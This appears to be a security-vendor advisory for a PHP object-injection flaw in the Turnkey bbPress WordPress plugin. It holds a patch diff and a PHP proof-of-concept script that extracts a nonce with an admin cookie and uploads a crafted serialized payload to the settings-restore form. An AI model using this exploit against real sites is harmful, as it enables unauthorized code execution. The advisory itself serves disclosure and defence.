-// filter values - wvrbbp_getopts
-
 function wvrbbp_checkbox($id, $desc, $br = '<br />') {
     ?>
     <div style="display:inline;padding-left:2.5em;text-indent:-1.7em;"><label><input type="checkbox"
-                                                                                     name="<?php echo $id; ?>"
-                                                                                     id="<?php echo $id; ?>"
+                                                                                     name="<?php echo esc_attr($id); ?>" id="<?php echo esc_attr($id); ?>"
         <?php checked(wvrbbp_getopt($id)); ?> > 
-    <?php echo $desc . '</label></div>' . $br . "n";
+    <?php echo wp_kses_post($desc) . '</label></div>' . wp_kses_post($br) . "n";
 }

 function wvrbbp_textarea($id, $desc, $br = '<br />', $cols = 40, $rows = 1, $default = '') {
     ?>
     <div style="margin-top:5px;display:inline-block;padding-left:4em;text-indent:-1.7em;"><label>
-    <?php
-    if ($cols <= 12 && $rows == 1) {    // use a simple text
-        ?>
-        <input class="regular-text" type="text" style="width:50px;height:22px;" name="<?php echo $id; ?>"
-               value="<?php echo sanitize_text_field(wvrbbp_getopt($id)); ?>"/>
-        <?php
-    } else {
-        ?>
-        <textarea style="margin-bottom:-8px;" cols="<?php echo $cols; ?>" rows="<?php echo $rows; ?>" maxlength=300
-                  name="<?php echo $id; ?>"><?php echo esc_html(wvrbbp_getopt($id, $default)); ?></textarea>
+    <?php if ($cols <= 12 && $rows == 1) { ?>
+        <input class="regular-text" type="text" style="width:50px;height:22px;" name="<?php echo esc_attr($id); ?>"
+               value="<?php echo esc_attr(sanitize_text_field(wvrbbp_getopt($id))); ?>"/>
+    <?php } else { ?>
+        <textarea style="margin-bottom:-8px;" cols="<?php echo (int)$cols; ?>" rows="<?php echo (int)$rows; ?>" maxlength=300
+                  name="<?php echo esc_attr($id); ?>"><?php echo esc_textarea(wvrbbp_getopt($id, $default)); ?></textarea>
     <?php } ?>
-
-     
-    <?php echo $desc . '</label></div>' . $br . "n";
+      <?php echo esc_html($desc) . '</label></div>' . wp_kses_post($br) . "n";
 }

 function wvrbbp_val($id, $desc, $br = '<br />')
 {
     ?>
     <div style="margin-top:5px;display:inline-block;padding-left:2.5em;text-indent:-1.7em;"><label>
-    <input class="regular-text" type="text" style="width:50px;height:22px;" name="<?php echo $id; ?>"
-           value="<?php echo sanitize_text_field(wvrbbp_getopt($id)); ?>"/>
+    <input class="regular-text" type="text" style="width:50px;height:22px;" name="<?php echo esc_attr($id); ?>"
+           value="<?php echo esc_attr(sanitize_text_field(wvrbbp_getopt($id))); ?>"/>
      
-    <?php echo $desc . '</label></div>' . $br . "n";
+    <?php echo esc_html($desc) . '</label></div>' . wp_kses_post($br) . "n";
 }
-
--- a/weaver-for-bbpress/includes/wvrbbp-admin-top.php
+++ b/weaver-for-bbpress/includes/wvrbbp-admin-top.php
@@ -1,4 +1,5 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
 /*

 This code is Copyright 2011-2016 by Bruce E. Wampler, all rights reserved.
@@ -15,11 +16,11 @@
 {
     wvrbbp_submits();        // process submit settings

-    $name = wvrbbp_NAME . ' (' . __('Version', 'weaver_for_bbpress') . ' ' . wvrbbp_VERSION . ')';
+    $name = wvrbbp_NAME . ' (' . esc_html__('Version', 'weaver-for-bbpress') . ' ' . esc_html(wvrbbp_VERSION) . ')';
     ?>
     <br/>
     <div class="atw-wrap">
-    <div style="font-weight:bold;font-size:180%;margin-top:1em;display:inline;"><?php echo $name; ?></div>
+    <div style="font-weight:bold;font-size:180%;margin-top:1em;display:inline;"><?php echo esc_html($name); ?></div>
     <?php wvrbbp_donate_button(); ?>
     <hr/>

@@ -27,19 +28,19 @@
     <div id="tab-container-plus" class='yetii'>
         <ul id="tab-container-plus-nav" class='yetii'>

-            <li><a href="#tab-css" title="Style"><?php _e('Themes & CSS', 'weaver_for_bbpress'); ?></a></li>
+            <li><a href="#tab-css" title="Style"><?php esc_html_e('Themes & CSS', 'weaver-for-bbpress'); ?></a></li>

             <li><a href="#tab-layouts"
-                   title="Layout"><?php _e('Forums & Topics Layout', 'weaver_for_bbpress'); ?></a></li>
+                   title="Layout"><?php esc_html_e('Forums & Topics Layout', 'weaver-for-bbpress'); ?></a></li>

-            <li><a href="#tab-members" title="Members"><?php _e('Members', 'weaver_for_bbpress'); ?></a></li>
+            <li><a href="#tab-members" title="Members"><?php esc_html_e('Members', 'weaver-for-bbpress'); ?></a></li>

-            <li><a href="#tab-admin" title="Admin"><?php _e('Admin', 'weaver_for_bbpress'); ?></a></li>
+            <li><a href="#tab-admin" title="Admin"><?php esc_html_e('Admin', 'weaver-for-bbpress'); ?></a></li>

-            <li><a href="#tab-restore" title="Save"><?php _e('Save/Restore', 'weaver_for_bbpress'); ?></a></li>
+            <li><a href="#tab-restore" title="Save"><?php esc_html_e('Save/Restore', 'weaver-for-bbpress'); ?></a></li>


-            <li><a href="#tab-help" title="Help"><?php _e('Help', 'weaver_for_bbpress'); ?></a></li>
+            <li><a href="#tab-help" title="Help"><?php esc_html_e('Help', 'weaver-for-bbpress'); ?></a></li>

         </ul>
         <hr/>
@@ -127,22 +128,16 @@
     return $s;
 }

-
 function wvrbbp_submits()
 {
-    // process settings for plugin parts
-
-
-    // for each option section, define a save filter for the save button. Add the name here, then call the handler.
     $actions = array(
-        'wvrbbp_save_style_opts',
-        'wvrbbp_save_layout_opts',
-        'wvrbbp_save_member_opts',
-        'wvrbbp_save_user_options',
-        'wvrbbp_save_restore',
+            'wvrbbp_save_style_opts',
+            'wvrbbp_save_layout_opts',
+            'wvrbbp_save_member_opts',
+            'wvrbbp_save_user_options',
+            'wvrbbp_save_restore',
     );

-
     foreach ($actions as $functionName) {
         if (isset($_POST[$functionName])) {
             if (wvrbbp_submitted($functionName) && function_exists($functionName)) {
@@ -154,95 +149,70 @@
     }
 }

-// ======================== options handlers ==========================
-
-// ========================================= >>> wvrbbp_save_layout_opts <<< ===============================
 function wvrbbp_save_layout_opts()
 {
-
     wvrbbp_save_form_options(
-    /* $check_opts */
-        array(
-            'enable_new_topic_link',
-            'add_forum_description',
-            'hide_contains_descriptions',
-            'hide_account_ability',
-            'clear_after_breadcrumbs',
-            'forum_list_columns',
-            'forum_list_columns',
-            'hide_voices',
-            'hide_counts',
-            'enable_view_count',
-            'view_count_only_logged',
-            'hide_fav_sub',
-        ),
-        /* text_opts */
-        array()
+            array(
+                    'enable_new_topic_link',
+                    'add_forum_description',
+                    'hide_contains_descriptions',
+                    'hide_account_ability',
+                    'clear_after_breadcrumbs',
+                    'forum_list_columns',
+                    'hide_voices',
+                    'hide_counts',
+                    'enable_view_count',
+                    'view_count_only_logged',
+                    'hide_fav_sub',
+            ),
+            array()
     );
-    wvrbbp_save_msg(__('Layout Options Saved', 'weaver-for-bbpress'));
+    wvrbbp_save_msg(esc_html__('Layout Options Saved', 'weaver-for-bbpress'));
 }

-// ========================================= >>> wvrbbp_save_member_opts <<< ===============================
 function wvrbbp_save_member_opts()
 {
-
     wvrbbp_save_form_options(
-    /* $check_opts */
-        array(
-            'enable_mentions',
-            'enable_profile_options',
-            'enable_private_reply',
-            'enable_best_answer',
-        ),
-        /* text_opts */
-        array('email_subject', 'email_body', 'mention_notify', 'profile_visibility')
+            array(
+                    'enable_mentions',
+                    'enable_profile_options',
+                    'enable_private_reply',
+                    'enable_best_answer',
+            ),
+            array('email_subject', 'email_body', 'mention_notify', 'profile_visibility')
     );
-    wvrbbp_save_msg(__('Member Options Saved', 'weaver-for-bbpress'));
+    wvrbbp_save_msg(esc_html__('Member Options Saved', 'weaver-for-bbpress'));
 }

-// ========================================= >>> wvrbbp_save_user_options <<< ===============================
 function wvrbbp_save_user_options()
 {
-
     wvrbbp_save_form_options(
-    /* $check_opts */
-        array(
-            'disable_moderation',
-            'enable_visual_editor',
-            'enable_email_link',
-            'enable_auto_block',
-            'show_post_status',
-            'enable_resolution',
-            'use_resolve_icons',
-            'hide_donate',
-            'logout_show_time',
-        ),
-        /* text_opts */
-        array(
-            'email_name',
-            'email_address',
-            'hide_wp_admin_bar',
-            'logged_in_message',
-            'logout_widget_msg',
-            'new_topic_msg',
-            'register_page',
-        )
+            array(
+                    'disable_moderation',
+                    'enable_visual_editor',
+                    'enable_email_link',
+                    'enable_auto_block',
+                    'show_post_status',
+                    'enable_resolution',
+                    'use_resolve_icons',
+                    'hide_donate',
+                    'logout_show_time',
+            ),
+            array(
+                    'email_name',
+                    'email_address',
+                    'hide_wp_admin_bar',
+                    'logged_in_message',
+                    'logout_widget_msg',
+                    'new_topic_msg',
+                    'register_page',
+            )
     );
-
-
-    wvrbbp_save_msg(__('Admin & User Options Saved', 'weaver-for-bbpress'));
+    wvrbbp_save_msg(esc_html__('Admin & User Options Saved', 'weaver-for-bbpress'));
 }

-// ========================================= >>> wvrbbp_save_form_opts <<< ===============================
-// *******
-
 function wvrbbp_save_form_options($check_opts = array(), $text_opts = array())
 {
-
-    //echo '<pre>';print_r($_POST); print_r($text_opts); print_r($check_opts); echo '</pre>';
-
-    // **** text fields and selects
-
     foreach ($text_opts as $opt) {
         $val = wp_kses_post(wvrbbp_get_POST($opt));
         wvrbbp_setopt($opt, $val);
@@ -255,39 +225,29 @@
             wvrbbp_setopt($opt, false);
         }
     }
-
-    wvrbbp_save_all_options();    // and save them to db
+    wvrbbp_save_all_options();
 }

-// ========================================= >>> wvrbbp_save_style_opts <<< ===============================
-
 function wvrbbp_save_style_opts()
 {
-
     wvrbbp_save_form_options(
-    /* $check_opts */
-        array(
-            'round_avatars',
-            'hide_small_avatars',
-            'no_even_odd',
-            'author_shadow',
-        ),
-        /* text_opts */
-        array(
-            'theme',
-            'base_font_size',
-            'tiny_author_avatar_size',
-            'show_freshness_avatar',
-            'show_started_by_avatar',
-            'alt_style_file',
-        )
+            array(
+                    'round_avatars',
+                    'hide_small_avatars',
+                    'no_even_odd',
+                    'author_shadow',
+            ),
+            array(
+                    'theme',
+                    'base_font_size',
+                    'tiny_author_avatar_size',
+                    'show_freshness_avatar',
+                    'show_started_by_avatar',
+                    'alt_style_file',
+            )
     );
-
-
     $css = wp_check_invalid_utf8(trim(wvrbbp_get_POST('wvrbbp_custom_css')));
     wvrbbp_setopt('custom_css', $css);
-
-    wvrbbp_save_all_options();    // and save them to db
-    wvrbbp_save_msg(__('Theme and Custom CSS Settings saved.', 'weaver_for_bbpress'));
-}
-
+    wvrbbp_save_all_options();
+    wvrbbp_save_msg(esc_html__('Theme and Custom CSS Settings saved.', 'weaver-for-bbpress'));
+}
 No newline at end of file
--- a/weaver-for-bbpress/includes/wvrbbp-help-admin.php
+++ b/weaver-for-bbpress/includes/wvrbbp-help-admin.php
@@ -1,11 +1,17 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 // ========================================= >>> wvrbbp_select_filter <<< ===============================
 function wvrbbp_help_admin()
 {
-    // admin for help
-
+    /* old unread text:
+    What, a forum without an indicator for Unread posts? Bad idea. This plugin
+            will clearly indicate unread Topics, and Weaver
+            for bbPress styles the marker to match the theme. The "Mark all as Read" link is styled as a button that
+            appears at the top right of forum Topic list.
+    */
     ?>
-    <h2 style="color:blue;font-weight:bold;"><?php _e('Quick Start Help', 'weaver-for-bbpress'); ?></h2>
+    <h2 style="color:blue;font-weight:bold;"><?php esc_html_e('Quick Start Help', 'weaver-for-bbpress'); ?></h2>

     <h3>Turnkey bbPress Help</h3>
     Documentation for Turnkey bbPress can be found on the <a href="//guide.weavertheme.com/category/weaver-for-bbpress/"
@@ -19,11 +25,10 @@
             bbPress</strong> also supports these plugins with integrated subTheme styling.
         <br/>
     <ol>
-        <li><a href="//wordpress.org/plugins/bbpress-pencil-unread/" target="_blank"><strong>bbPress Pencil
-                    Unread</strong></a> - What, a forum without an indicator for Unread posts? Bad idea. This plugin
-            will clearly indicate unread Topics, and Weaver
-            for bbPress styles the marker to match the theme. The "Mark all as Read" link is styled as a button that
-            appears at the top right of forum Topic list.
+        <li><strong>bbPress Pencil Unread</strong> - The former bbPress Pencil Unread, an independent plugin
+            for bbPress, is no longer supported or available. Weaver has created a working version of the old plugin
+            and is using it on forum.weavertheme.com. We will make a fixed downloadable version of that plugin
+            on our website soon (by the end of 2026). Check <a href="https://weavertheme.com/current-versions/" target="_blank"><strong>Mark Read for bbPress</strong></a> for a link to check the download link for availability.
         </li>
         <br/>

@@ -90,45 +95,38 @@

     </div> <!-- xxxx -->
     <?php
-
 }

-
 function wvrbbp_ts_more_help()
 {
     ?>
     <hr/>
-    <h3><?php _e('Your System and Configuration Info', 'weaver-for-bbpress' /*adm*/); ?></h3>
+    <h3><?php esc_html_e('Your System and Configuration Info', 'weaver-for-bbpress'); ?></h3>
     <?php
     $sys = wvrbbp_ts_get_sysinfo();
     ?>
     <div style="float:left;max-width:60%;"><textarea id="wvrx-sysinfo" readonly class="wvrx-sysinfo no-autosize"
                                                      style="font-family:monospace;" rows="12"
-                                                     cols="50"><?php echo $sys; ?></textarea></div>
-    <div style="margin-left:20px;max-width:40%;float:left;"><?php _e('<p>This information can be used to help us diagnose issues you might be having with Weaver Xtreme.
+                                                     cols="50"><?php echo esc_textarea($sys); ?></textarea></div>
+    <div style="margin-left:20px;max-width:40%;float:left;"><?php echo wp_kses_post(__('<p>This information can be used to help us diagnose issues you might be having with Weaver Xtreme.
 If you are asked by a moderator on the <a href="//forum.weavertheme.com" target="_blank">Weaver Support Forum</a>, please select all the info, then copy, then Paste the Sysinfo report directly into a Forum post.</p>
 <p>Please note that there is no personally identifying data in this report except your site's URL. Having your site URL is important to help us
-diagnose the problem, but you can delete it from your forum post right after you paste if you need to.</p>', 'wvrbbp-theme-support'); ?></div>
+diagnose the problem, but you can delete it from your forum post right after you paste if you need to.</p>', 'weaver-for-bbpress')); ?></div>
     <div style="clear:both;margin-bottom:20px;"></div>

     <div><strong>Please select all the text in the above box, then copy it so you can paste to the forum.</strong></div>
     <?php
-    //if (wvrbbp_DEV_MODE && isset($GLOBALS['POST_COPY']) && $GLOBALS['POST_COPY'] != false ) {
-    //	echo '<pre>$_POST:'; var_dump($GLOBALS['POST_COPY']); echo '</pre>';
-    //}
 }

-
 function wvrbbp_ts_get_sysinfo()
 {
-
     global $wpdb;

     $theme = wp_get_theme()->Name . ' (' . wp_get_theme()->Version . ')';
     $frontpage = get_option('page_on_front');
     $frontpost = get_option('page_for_posts');
     $fr_page = $frontpage ? get_the_title($frontpage) . ' (ID# ' . $frontpage . ')' . '' : 'n/a';
-    $fr_post = $frontpage ? get_the_title($frontpost) . ' (ID# ' . $frontpost . ')' . '' : 'n/a';
+    $fr_post = $frontpost ? get_the_title($frontpost) . ' (ID# ' . $frontpost . ')' . '' : 'n/a';
     $jquchk = wp_script_is('jquery', 'registered') ? $GLOBALS['wp_scripts']->registered['jquery']->ver : 'n/a';

     $return = '### Weaver System Info ###' . "nn";
@@ -140,7 +138,6 @@
     $return .= 'Multisite:                ' . (is_multisite() ? 'Yes' : 'No') . "n";
     $return .= 'Version:                  ' . get_bloginfo('version') . "n";
     $return .= 'Language:                 ' . get_locale() . "n";
-    //$return .= 'Table Prefix:             ' . 'Length: ' . strlen( $wpdb->prefix ) . "n";
     $return .= 'WP_DEBUG:                 ' . (defined('WP_DEBUG') ? WP_DEBUG ? 'Enabled' : 'Disabled' : 'Not set') . "n";
     $return .= 'WP Memory Limit:          ' . WP_MEMORY_LIMIT . "n";
     $return .= 'Permalink:                ' . get_option('permalink_structure') . "n";
@@ -152,8 +149,7 @@

     // Plugin Configuration
     $return .= "n" . '        -- Turnkey bbPress Configuration --' . "nn";
-    $return .= 'Turnkey bbPress:    ' . wvrbbp_VERSION . "n";
-
+    $return .= 'Turnkey bbPress:    ' . defined('wvrbbp_VERSION') ? wvrbbp_VERSION : 'Unknown' . "n";

     // Server Configuration
     $return .= "n" . '        -- Server Configuration --' . "nn";
@@ -161,12 +157,10 @@
     $return .= 'PHP Version:              ' . PHP_VERSION . "n";
     $return .= 'MySQL Version:            ' . $wpdb->db_version() . "n";
     $return .= 'jQuery Version:           ' . $jquchk . "n";
+    $return .= 'Server Software:          ' . (isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Unknown') . "n";

-    $return .= 'Server Software:          ' . $_SERVER['SERVER_SOFTWARE'] . "n";
-
-    // PHP configs... now we're getting to the important stuff
+    // PHP configs
     $return .= "n" . '        -- PHP Configuration --' . "nn";
-    //$return .= 'Safe Mode:                ' . ( ini_get( 'safe_mode' ) ? 'Enabled' : 'Disabled' . "n" );
     $return .= 'Local Memory Limit:       ' . ini_get('memory_limit') . "n";
     $return .= 'Server Memory Limit:      ' . get_cfg_var('memory_limit') . "n";
     $return .= 'Post Max Size:            ' . ini_get('post_max_size') . "n";
@@ -180,40 +174,29 @@
     $plugins = get_plugins();
     $active_plugins = get_option('active_plugins', array());
     foreach ($plugins as $plugin_path => $plugin) {
-        if (!in_array($plugin_path, $active_plugins)) {
-            continue;
-        }
+        if (!in_array($plugin_path, $active_plugins)) continue;
         $return .= $plugin['Name'] . ': ' . $plugin['Version'] . "n";
     }

     // WordPress inactive plugins
     $return .= "n" . '        -- WordPress Inactive Plugins --' . "nn";
     foreach ($plugins as $plugin_path => $plugin) {
-        if (in_array($plugin_path, $active_plugins)) {
-            continue;
-        }
+        if (in_array($plugin_path, $active_plugins)) continue;
         $return .= $plugin['Name'] . ': ' . $plugin['Version'] . "n";
     }

     if (is_multisite()) {
-        // WordPress Multisite active plugins
         $return .= "n" . '        -- Network Active Plugins --' . "nn";
         $plugins = wp_get_active_network_plugins();
         $active_plugins = get_site_option('active_sitewide_plugins', array());
         foreach ($plugins as $plugin_path) {
             $plugin_base = plugin_basename($plugin_path);
-            if (!array_key_exists($plugin_base, $active_plugins)) {
-                continue;
-            }
+            if (!array_key_exists($plugin_base, $active_plugins)) continue;
             $plugin = get_plugin_data($plugin_path);
             $return .= $plugin['Name'] . ': ' . $plugin['Version'] . "n";
         }
     }

     $return .= "n" . '### End System Info ###' . "n";
-
     return $return;
-}
-
-
-?>
+}
 No newline at end of file
--- a/weaver-for-bbpress/includes/wvrbbp-layout-admin.php
+++ b/weaver-for-bbpress/includes/wvrbbp-layout-admin.php
@@ -1,11 +1,12 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
 // ======================================================== layout admin ===============================
 function wvrbbp_layout_admin()
 {
     ?>
-    <h2 style="color:blue;"><?php _e('Forums & Topic List Layout Options', 'weaver-for-bbpress'); ?></h2>
+    <h2 style="color:blue;"><?php esc_html_e('Forums & Topic List Layout Options', 'weaver-for-bbpress'); ?></h2>
     <form method="post" enctype="multipart/form-data">
-        <input type="hidden" name="wvrbbp_save_layout_opts" value="Layout Options Saved"/>
+        <input type="hidden" name="wvrbbp_save_layout_opts" value="<?php esc_attr_e('Layout Options Saved', 'weaver-for-bbpress'); ?>"/>
         <input style="display:none;" type="submit" name="atw_stop_enter" value="Ignore Enter"/>

         <?php
@@ -26,7 +27,7 @@
 {
     ?>
     <input style="margin-bottom:5px;" class="button-primary" type="submit" name="wvrbbp_save_layout_opts"
-           value="<?php _e('Save Layout Options', 'weaver_for_bbpress'); ?> "/>
+           value="<?php esc_attr_e('Save Layout Options', 'weaver-for-bbpress'); ?>"/>
     <?php
 }

@@ -36,19 +37,16 @@
 function wvrbbp_definelayout()
 {
     // define display filter options
-    // need to add each option value to wvrbbp_save_form_options in wvrbbp-admin-top.php
-
-// site email stuff
     ?>

     <div class="wvrx-opts-section">
         <div class="wvrx-opts-opts">

             <div class="wvrx-opts-title" style="clear:both;">
-                • <?php _e('Forum & Topic Lists Layout <span class="wvrx-opts-title-description">Change default Layouts of Forum Lists</span>', 'weaver-for-bbpress'); ?>
+                • <?php echo wp_kses_post(__('Forum & Topic Lists Layout <span class="wvrx-opts-title-description">Change default Layouts of Forum Lists</span>', 'weaver-for-bbpress')); ?>
             </div>
             <div style="margin-left:1.5em;color: #0000dd;">
-                <strong><?php _e('New Features Added by <em>Turnkey bbPress</em>', 'weaver-for-bbpress'); ?></strong>
+                <strong><?php esc_html_e('New Features Added by ', 'weaver-for-bbpress'); ?><em>Turnkey bbPress</em></strong>
             </div>
             <br/>
             <?php
@@ -62,11 +60,11 @@
             wvrbbp_checkbox('enable_new_topic_link', __('Add <em><strong>Create New Topic</strong></em> link at top of Single Forum views. (Styled with .wvrbbp-new-topic)', 'weaver-for-bbpress'), '<br /><br />');

             wvrbbp_checkbox('hide_fav_sub',
-                __('Hide <em><strong>Favorited and Subscribed Icons</strong></em> on Forum and Topic Lists.', 'weaver-for-bbpress'), '<br /><br />');
+                    __('Hide <em><strong>Favorited and Subscribed Icons</strong></em> on Forum and Topic Lists.', 'weaver-for-bbpress'), '<br /><br />');

             ?>
             <div style="margin-left:1.5em; color: #0000dd;">
-                <strong><?php _e('Display Options for standard <em>bbPress</em> Features', 'weaver-for-bbpress'); ?></strong>
+                <strong><?php esc_html_e('Display Options for standard ', 'weaver-for-bbpress'); ?><em>bbPress</em> <?php esc_html_e('Features', 'weaver-for-bbpress'); ?></strong>
             </div>
             <br/><?php

@@ -83,20 +81,17 @@

             wvrbbp_checkbox('hide_account_ability', __('Hide <em><strong>Account Ability Message</strong></em>. Hide the "Your account has the ability to post ..." message above post/reply editor.', 'weaver-for-bbpress'), '<br /><br />');

-            wvrbbp_checkbox('clear_after_breadcrumbs', __('<em><strong>Clear After Breadcrumbs</strong></em>. Add "clear:both;" after forum/topic breadcrumbs. Allows easier styling for <em>Subscribe</em>, <em>Create New Topic</em>, etc. <em></strong>Recommended.</strong></em>', 'weaver-for-bbpress'), '<br /><br />');
+            wvrbbp_checkbox('clear_after_breadcrumbs', __('<em><strong>Clear After Breadcrumbs</strong></em>. Add "clear:both;" after forum/topic breadcrumbs. Allows easier styling for <em>Subscribe</em>, <em>Create New Topic</em>, etc. <em></em>Recommended.</em>', 'weaver-for-bbpress'), '<br /><br />');
             ?>

             <div style="clear:both;"></div>
             <div class="wvrx-opts-description">
                 <hr/>
                 <p>
-                    <?php _e('These options are used to show/hide and add extra options to the Forums and Topics Lists Index displays.', 'weaver-for-bbpress'); ?>
+                    <?php esc_html_e('These options are used to show/hide and add extra options to the Forums and Topics Lists Index displays.', 'weaver-for-bbpress'); ?>
                 </p>
             </div>
         </div>
     </div>
-
-
     <?php
-}
-
+}
 No newline at end of file
--- a/weaver-for-bbpress/includes/wvrbbp-members-admin.php
+++ b/weaver-for-bbpress/includes/wvrbbp-members-admin.php
@@ -1,13 +1,14 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
 // ======================================================== m admin ===============================
 function wvrbbp_members_admin()
 {
     // wvrbbp_save_members_opts
     ?>
-    <h2 style="color:blue;"><?php _e('Member Options', 'weaver-for-bbpress'); ?></h2>
+    <h2 style="color:blue;"><?php esc_html_e('Member Options', 'weaver-for-bbpress'); ?></h2>
     <form method="post" enctype="multipart/form-data">
         <input type="hidden" name="wvrbbp_save_member_opts"
-               value="<?php _e('Member Options Saved', 'weaver-for-bbpress'); ?>"/>
+               value="<?php esc_attr_e('Member Options Saved', 'weaver-for-bbpress'); ?>"/>
         <input style="display:none;" type="submit" name="atw_stop_enter" value="Ignore Enter"/>

         <?php
@@ -28,7 +29,7 @@
 {
     ?>
     <input style="margin-bottom:5px;" class="button-primary" type="submit" name="wvrbbp_save_member_opts"
-           value="<?php _e('Save Member Options', 'weaver-for-bbpress'); ?>"/>
+           value="<?php esc_attr_e('Save Member Options', 'weaver-for-bbpress'); ?>"/>

     <?php
 }
@@ -39,17 +40,13 @@
 function wvrbbp_define_members()
 {
     // define display filter options
-    // need to add each option value to wvrbbp_save_members_opts in wvrbbp-admin-top.php
-
-// site email stuff
-
     ?>

-    <h3><u><?php _e('Member Options', 'weaver-for-bbpress'); ?></u></h3>
+    <h3><u><?php esc_html_e('Member Options', 'weaver-for-bbpress'); ?></u></h3>
     <div class="wvrx-opts-section">
         <div class="wvrx-opts-title">
-            • <?php _e('Member Settings', 'weaver-for-bbpress'); ?> <span
-                    class="wvrx-opts-title-description"> <?php _e('Set Member Interface Options', 'weaver-for-bbpress

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-10035 - Turnkey bbPress by WeaverTheme <= 1.7.1 - Authenticated (Administrator+) PHP Object Injection

/**
 * This PoC demonstrates the deserialization of untrusted input
 * in the Turnkey bbPress settings restore functionality.
 * It uploads a crafted PHP serialized payload via the settings restore form.
 *
 * Pre-requisites:
 *  - A valid WordPress administrator session/cookie.
 *  - The target URL and nonce for the settings restore form.
 *
 * The PoC uploads a serialized object (GadgetClass) that would trigger a
 * magic method (e.g., __destruct) when unserialized. The object injection
 * is delivered via the uploaded file, which the vulnerable plugin
 * processes with unserialize().
 */

// --- Configuration ---
$target_url = 'http://target-site.com/wp-admin/admin.php?page=wvrbbp-settings';
$session_cookie = 'wordpress_logged_in=your_session_cookie_here; wordpress_sec=your_secure_cookie_here';
// --- End Configuration ---

// 1. Fetch the settings page to extract the nonce.
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $session_cookie);
$response = curl_exec($ch);
curl_close($ch);

if (preg_match('/name="wvrbbp_save_restore_nonce" value="([a-z0-9]+)"/i', $response, $matches)) {
    $nonce = $matches[1];
} else {
    fwrite(STDERR, "[!] Nonce not found. Ensure the page and session are correct.n");
    exit(1);
}

// 2. Craft the malicious serialized object.
// This is a generic example. Replace 'GadgetClass' with a valid gadget from the site.
// The object is designed to trigger a magic method when unserialized.
$gadget_class = 'GadgetClass';  // Example gadget class name.
$payload = serialize(array(
    'wvrbbp' => (object) array(
        'trigger' => new $gadget_class(),
    )
));
$filename = 'malicious-settings.txt';

// 3. Upload the payload to the vulnerable handler.
$upload_url = 'http://target-site.com/wp-admin/admin.php?page=wvrbbp-settings';
$ch = curl_init($upload_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_COOKIE, $session_cookie);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'wvrbbp_save_restore' => 'Restore',
    'wvrbbp_save_restore_nonce' => $nonce,
    'post_uploaded' => new CURLFile(stream_get_meta_data(fopen('php://memory', 'w+'))['uri'], 'text/plain', $filename),
));

// Since CURLFile requires a real file, create a temp file with the payload.
$temp_fh = tmpfile();
fwrite($temp_fh, $payload);
rewind($temp_fh);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'wvrbbp_save_restore' => 'Restore',
    'wvrbbp_save_restore_nonce' => $nonce,
    'post_uploaded' => new CURLFile(stream_get_meta_data($temp_fh)['uri'], 'text/plain', $filename),
));

$response = curl_exec($ch);
curl_close($ch);
fclose($temp_fh);

// 4. Check if the request was processed (look for success/reload script or error).
if (strpos($response, 'location.reload') !== false) {
    fwrite(STDOUT, "[+] Object injection payload uploaded successfully. The server processed the file.n");
} else {
    fwrite(STDOUT, "[?] The response does not indicate success. Check the response body for errors.n");
}

fwrite(STDOUT, "[+] PoC completed. Check the target for the magic method execution during shutdown.n");
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.